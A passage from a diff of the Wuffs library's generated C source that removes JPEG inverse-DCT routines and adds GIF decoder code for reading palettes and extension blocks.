io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_lsd.scratch; ++ uint32_t num_bits_4 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_4); ++ if (num_bits_4 == 16) { ++ t_4 = ((uint32_t)(*scratch >> 40)); ++ break; ++ } ++ num_bits_4 += 8u; ++ *scratch |= ((uint64_t)(num_bits_4)); ++ } ++ } ++ v_argb = t_4; ++ } ++ v_argb |= 4278190080u; ++ self->private_data.f_palettes[0u][((4u * v_i) + 0u)] = ((uint8_t)((v_argb >> 0u))); ++ self->private_data.f_palettes[0u][((4u * v_i) + 1u)] = ((uint8_t)((v_argb >> 8u))); ++ self->private_data.f_palettes[0u][((4u * v_i) + 2u)] = ((uint8_t)((v_argb >> 16u))); ++ self->private_data.f_palettes[0u][((4u * v_i) + 3u)] = ((uint8_t)((v_argb >> 24u))); ++ v_i += 1u; ++ } ++ if (self->private_impl.f_quirks[2u]) { ++ if ((v_background_color_index != 0u) && (((uint32_t)(v_background_color_index)) < v_num_palette_entries)) { ++ v_j = (4u * ((uint32_t)(v_background_color_index))); ++ self->private_impl.f_background_color_u32_argb_premul = ((((uint32_t)(self->private_data.f_palettes[0u][(v_j + 0u)])) << 0u) | ++ (((uint32_t)(self->private_data.f_palettes[0u][(v_j + 1u)])) << 8u) | ++ (((uint32_t)(self->private_data.f_palettes[0u][(v_j + 2u)])) << 16u) | ++ (((uint32_t)(self->private_data.f_palettes[0u][(v_j + 3u)])) << 24u)); ++ } else { ++ self->private_impl.f_background_color_u32_argb_premul = 77u; ++ } ++ } + } +- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[32u] + 16u)) >> 5u) & 1023u)]; +- a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); +- } else { +- v_in2 = v_intermediate[34u]; +- v_in6 = v_intermediate[38u]; +- v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); +- v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); +- v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); +- v_in0 = v_intermediate[32u]; +- v_in4 = v_intermediate[36u]; +- v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); +- v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); +- v_rd0 = ((uint32_t)(v_rcp + v_rb2)); +- v_rd1 = ((uint32_t)(v_rcm + v_rb6)); +- v_rd2 = ((uint32_t)(v_rcm - v_rb6)); +- v_rd3 = ((uint32_t)(v_rcp - v_rb2)); +- v_in1 = v_intermediate[33u]; +- v_in3 = v_intermediate[35u]; +- v_in5 = v_intermediate[37u]; +- v_in7 = v_intermediate[39u]; +- v_ri51 = ((uint32_t)(v_in5 + v_in1)); +- v_ri53 = ((uint32_t)(v_in5 + v_in3)); +- v_ri71 = ((uint32_t)(v_in7 + v_in1)); +- v_ri73 = ((uint32_t)(v_in7 + v_in3)); +- v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); +- v_rk1 = ((uint32_t)(v_in1 * 12299u)); +- v_rk3 = ((uint32_t)(v_in3 * 25172u)); +- v_rk5 = ((uint32_t)(v_in5 * 16819u)); +- v_rk7 = ((uint32_t)(v_in7 * 2446u)); +- v_ri51 *= 4294964100u; +- v_ri53 *= 4294946301u; +- v_ri71 *= 4294959923u; +- v_ri73 *= 4294951227u; +- v_rl51 = ((uint32_t)(v_ri51 + v_rj)); +- v_rl73 = ((uint32_t)(v_ri73 + v_rj)); +- v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); +- v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); +- v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); +- v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); ++ while (v_i < 256u) { ++ self->private_data.f_palettes[0u][((4u * v_i) + 0u)] = 0u; ++ self->private_data.f_palettes[0u][((4u * v_i) + 1u)] = 0u; ++ self->private_data.f_palettes[0u][((4u * v_i) + 2u)] = 0u; ++ self->private_data.f_palettes[0u][((4u * v_i) + 3u)] = 255u; ++ v_i += 1u; + } +- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); ++ ++ goto ok; ++ ok: ++ self->private_impl.p_decode_lsd = 0; ++ goto exit; + } +- if (0u == (v_intermediate[41u] | +- v_intermediate[42u] | +- v_intermediate[43u] | +- v_intermediate[44u] | +- v_intermediate[45u] | +- v_intermediate[46u] | +- v_intermediate[47u])) { +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); +- } +- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[40u] + 16u)) >> 5u) & 1023u)]; +- a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); +- } else { +- v_in2 = v_intermediate[42u]; +- v_in6 = v_intermediate[46u]; +- v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); +- v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); +- v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); +- v_in0 = v_intermediate[40u]; +- v_in4 = v_intermediate[44u]; +- v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); +- v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); +- v_rd0 = ((uint32_t)(v_rcp + v_rb2)); +- v_rd1 = ((uint32_t)(v_rcm + v_rb6)); +- v_rd2 = ((uint32_t)(v_rcm - v_rb6)); +- v_rd3 = ((uint32_t)(v_rcp - v_rb2)); +- v_in1 = v_intermediate[41u]; +- v_in3 = v_intermediate[43u]; +- v_in5 = v_intermediate[45u]; +- v_in7 = v_intermediate[47u]; +- v_ri51 = ((uint32_t)(v_in5 + v_in1)); +- v_ri53 = ((uint32_t)(v_in5 + v_in3)); +- v_ri71 = ((uint32_t)(v_in7 + v_in1)); +- v_ri73 = ((uint32_t)(v_in7 + v_in3)); +- v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); +- v_rk1 = ((uint32_t)(v_in1 * 12299u)); +- v_rk3 = ((uint32_t)(v_in3 * 25172u)); +- v_rk5 = ((uint32_t)(v_in5 * 16819u)); +- v_rk7 = ((uint32_t)(v_in7 * 2446u)); +- v_ri51 *= 4294964100u; +- v_ri53 *= 4294946301u; +- v_ri71 *= 4294959923u; +- v_ri73 *= 4294951227u; +- v_rl51 = ((uint32_t)(v_ri51 + v_rj)); +- v_rl73 = ((uint32_t)(v_ri73 + v_rj)); +- v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); +- v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); +- v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); +- v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); +- } +- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_lsd = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_lsd.v_flags = v_flags; ++ self->private_data.s_decode_lsd.v_background_color_index = v_background_color_index; ++ self->private_data.s_decode_lsd.v_num_palette_entries = v_num_palette_entries; ++ self->private_data.s_decode_lsd.v_i = v_i; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- if (0u == (v_intermediate[49u] | +- v_intermediate[50u] | +- v_intermediate[51u] | +- v_intermediate[52u] | +- v_intermediate[53u] | +- v_intermediate[54u] | +- v_intermediate[55u])) { +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); ++ ++ return status; ++} ++ ++// -------- func gif.decoder.decode_extension ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_gif__decoder__decode_extension( ++ wuffs_gif__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_label = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_extension; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_label = t_0; + } +- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[48u] + 16u)) >> 5u) & 1023u)]; +- a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); +- } else { +- v_in2 = v_intermediate[50u]; +- v_in6 = v_intermediate[54u]; +- v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); +- v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); +- v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); +- v_in0 = v_intermediate[48u]; +- v_in4 = v_intermediate[52u]; +- v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); +- v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); +- v_rd0 = ((uint32_t)(v_rcp + v_rb2)); +- v_rd1 = ((uint32_t)(v_rcm + v_rb6)); +- v_rd2 = ((uint32_t)(v_rcm - v_rb6)); +- v_rd3 = ((uint32_t)(v_rcp - v_rb2)); +- v_in1 = v_intermediate[49u]; +- v_in3 = v_intermediate[51u]; +- v_in5 = v_intermediate[53u]; +- v_in7 = v_intermediate[55u]; +- v_ri51 = ((uint32_t)(v_in5 + v_in1)); +- v_ri53 = ((uint32_t)(v_in5 + v_in3)); +- v_ri71 = ((uint32_t)(v_in7 + v_in1)); +- v_ri73 = ((uint32_t)(v_in7 + v_in3)); +- v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); +- v_rk1 = ((uint32_t)(v_in1 * 12299u)); +- v_rk3 = ((uint32_t)(v_in3 * 25172u)); +- v_rk5 = ((uint32_t)(v_in5 * 16819u)); +- v_rk7 = ((uint32_t)(v_in7 * 2446u)); +- v_ri51 *= 4294964100u; +- v_ri53 *= 4294946301u; +- v_ri71 *= 4294959923u; +- v_ri73 *= 4294951227u; +- v_rl51 = ((uint32_t)(v_ri51 + v_rj)); +- v_rl73 = ((uint32_t)(v_ri73 + v_rj)); +- v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); +- v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); +- v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); +- v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); ++ if (v_label == 249u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ status = wuffs_gif__decoder__decode_gc(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ } else if (v_label == 255u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ status = wuffs_gif__decoder__decode_ae(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ status = wuffs_base__make_status(NULL); ++ goto ok; + } +- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); +- } +- if (0u == (v_intermediate[57u] | +- v_intermediate[58u] | +- v_intermediate[59u] | +- v_intermediate[60u] | +- v_intermediate[61u] | +- v_intermediate[62u] | +- v_intermediate[63u])) { +- if (8u > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[56u] + 16u)) >> 5u) & 1023u)]; +- a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; +- } else { +- v_in2 = v_intermediate[58u]; +- v_in6 = v_intermediate[62u]; +- v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); +- v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); +- v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); +- v_in0 = v_intermediate[56u]; +- v_in4 = v_intermediate[60u]; +- v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); +- v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); +- v_rd0 = ((uint32_t)(v_rcp + v_rb2)); +- v_rd1 = ((uint32_t)(v_rcm + v_rb6)); +- v_rd2 = ((uint32_t)(v_rcm - v_rb6)); +- v_rd3 = ((uint32_t)(v_rcp - v_rb2)); +- v_in1 = v_intermediate[57u]; +- v_in3 = v_intermediate[59u]; +- v_in5 = v_intermediate[61u]; +- v_in7 = v_intermediate[63u]; +- v_ri51 = ((uint32_t)(v_in5 + v_in1)); +- v_ri53 = ((uint32_t)(v_in5 + v_in3)); +- v_ri71 = ((uint32_t)(v_in7 + v_in1)); +- v_ri73 = ((uint32_t)(v_in7 + v_in3)); +- v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); +- v_rk1 = ((uint32_t)(v_in1 * 12299u)); +- v_rk3 = ((uint32_t)(v_in3 * 25172u)); +- v_rk5 = ((uint32_t)(v_in5 * 16819u)); +- v_rk7 = ((uint32_t)(v_in7 * 2446u)); +- v_ri51 *= 4294964100u; +- v_ri53 *= 4294946301u; +- v_ri71 *= 4294959923u; +- v_ri73 *= 4294951227u; +- v_rl51 = ((uint32_t)(v_ri51 + v_rj)); +- v_rl73 = ((uint32_t)(v_ri73 + v_rj)); +- v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); +- v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); +- v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); +- v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); +- if (8u > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ status = wuffs_gif__decoder__skip_blocks(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; + } +- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; ++ if (status.repr) { ++ goto suspend; ++ } ++ ++ ok: ++ self->private_impl.p_decode_extension = 0; ++ goto exit; + } +- return wuffs_base__make_empty_struct(); ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_extension = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; + } + +-// ‼ WUFFS MULTI-FILE SECTION +x86_avx2 +-// -------- func jpeg.decoder.decode_idct_x86_avx2 ++// -------- func gif.decoder.skip_blocks + +-#if defined(WUFFS_BASE__CPU_ARCH__X86_64) +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_jpeg__decoder__decode_idct_x86_avx2( +- wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_dst_buffer, +- uint64_t a_dst_stride, +- uint32_t a_q) { +- __m256i v_k_0000 = {0}; +- __m256i v_k_8080 = {0}; +- __m256i v_k_0000_0002 = {0}; +- __m256i v_k_0001_FFFF = {0}; +- __m256i v_k_0400_0000 = {0}; +- __m256i v_k_29CF_1151_D630_1151 = {0}; +- __m256i v_k_E333_133E_ADFD_1051 = {0}; +- __m256i v_k_E6DC_25A1_1925_25A1 = {0}; +- __m256i v_k_ECC1_E333_EFB0_ADFD = {0}; +- __m128i v_az_coeffs = {0}; +- __m256i v_az_ah00 = {0}; +- __m256i v_az_ad00 = {0}; +- __m256i v_az_eh00 = {0}; +- __m256i v_az_adeh = {0}; +- __m256i v_rows01 = {0}; +- __m256i v_rows23 = {0}; +- __m256i v_rows45 = {0}; +- __m256i v_rows67 = {0}; +- __m256i v_quants01 = {0}; +- __m256i v_quants23 = {0}; +- __m256i v_quants45 = {0}; +- __m256i v_quants67 = {0}; +- __m256i v_rows04 = {0}; +- __m256i v_rows31 = {0}; +- __m256i v_rows26 = {0}; +- __m256i v_rows75 = {0}; +- __m256i v_fp_rows62 = {0}; +- __m256i v_fp_bq2662ad = {0}; +- __m256i v_fp_bq2662eh = {0}; +- __m256i v_fp_cb26ad = {0}; +- __m256i v_fp_cb26eh = {0}; +- __m256i v_fp_rows40pos = {0}; +- __m256i v_fp_rows04neg = {0}; +- __m256i v_fp_rows0pm4 = {0}; +- __m256i v_fp_ccpmad = {0}; +- __m256i v_fp_ccpmeh = {0}; +- __m256i v_fp_cd01ad = {0}; +- __m256i v_fp_cd01eh = {0}; +- __m256i v_fp_cd32ad = {0}; +- __m256i v_fp_cd32eh = {0}; +- __m256i v_fp_sums7351 = {0}; +- __m256i v_fp_sums5173 = {0}; +- __m256i v_fp_ci73515173ad = {0}; +- __m256i v_fp_ci73515173eh = {0}; +- __m256i v_fp_cl7351ad = {0}; +- __m256i v_fp_cl7351eh = {0}; +- __m256i v_fp_rows13 = {0}; +- __m256i v_fp_bq7153ad = {0}; +- __m256i v_fp_bq7153eh = {0}; +- __m256i v_fp_ck75ad = {0}; +- __m256i v_fp_ck75eh = {0}; +- __m256i v_fp_cl5173ad = {0}; +- __m256i v_fp_cl5173eh = {0}; +- __m256i v_fp_ck13ad = {0}; +- __m256i v_fp_ck13eh = {0}; +- __m256i v_intermediate01ad = {0}; +- __m256i v_intermediate01eh = {0}; +- __m256i v_intermediate01 = {0}; +- __m256i v_intermediate32ad = {0}; +- __m256i v_intermediate32eh = {0}; +- __m256i v_intermediate32 = {0}; +- __m256i v_intermediate45ad = {0}; +- __m256i v_intermediate45eh = {0}; +- __m256i v_intermediate45 = {0}; +- __m256i v_intermediate76ad = {0}; +- __m256i v_intermediate76eh = {0}; +- __m256i v_intermediate76 = {0}; +- __m256i v_ita0a1e0e1 = {0}; +- __m256i v_ita2a3e2e3 = {0}; +- __m256i v_ita4a5e4e5 = {0}; +- __m256i v_ita6a7e6e7 = {0}; +- __m256i v_ita0c0e0g0 = {0}; +- __m256i v_ita1c1e1g1 = {0}; +- __m256i v_ita4c4e4g4 = {0}; +- __m256i v_ita5c5e5g5 = {0}; +- __m256i v_ita0b0e0f0 = {0}; +- __m256i v_ita4b4e4f4 = {0}; +- __m256i v_itc0d0g0h0 = {0}; +- __m256i v_itc4d4g4h4 = {0}; +- __m256i v_intermediateae = {0}; +- __m256i v_intermediatebf = {0}; +- __m256i v_intermediatecg = {0}; +- __m256i v_intermediatedh = {0}; +- __m256i v_intermediatedb = {0}; +- __m256i v_intermediatehf = {0}; +- __m256i v_sp_cols62 = {0}; +- __m256i v_sp_bq2662ad = {0}; +- __m256i v_sp_bq2662eh = {0}; +- __m256i v_sp_rb26ad = {0}; +- __m256i v_sp_rb26eh = {0}; +- __m256i v_sp_cols40pos = {0}; +- __m256i v_sp_cols04neg = {0}; +- __m256i v_sp_cols0pm4 = {0}; +- __m256i v_sp_rcpmad = {0}; +- __m256i v_sp_rcpmeh = {0}; +- __m256i v_sp_rd01ad = {0}; +- __m256i v_sp_rd01eh = {0}; +- __m256i v_sp_rd32ad = {0}; +- __m256i v_sp_rd32eh = {0}; +- __m256i v_sp_sums7351 = {0}; +- __m256i v_sp_sums5173 = {0}; +- __m256i v_sp_ri73515173ad = {0}; +- __m256i v_sp_ri73515173eh = {0}; +- __m256i v_sp_rl7351ad = {0}; +- __m256i v_sp_rl7351eh = {0}; +- __m256i v_sp_cols13 = {0}; +- __m256i v_sp_bq7153ad 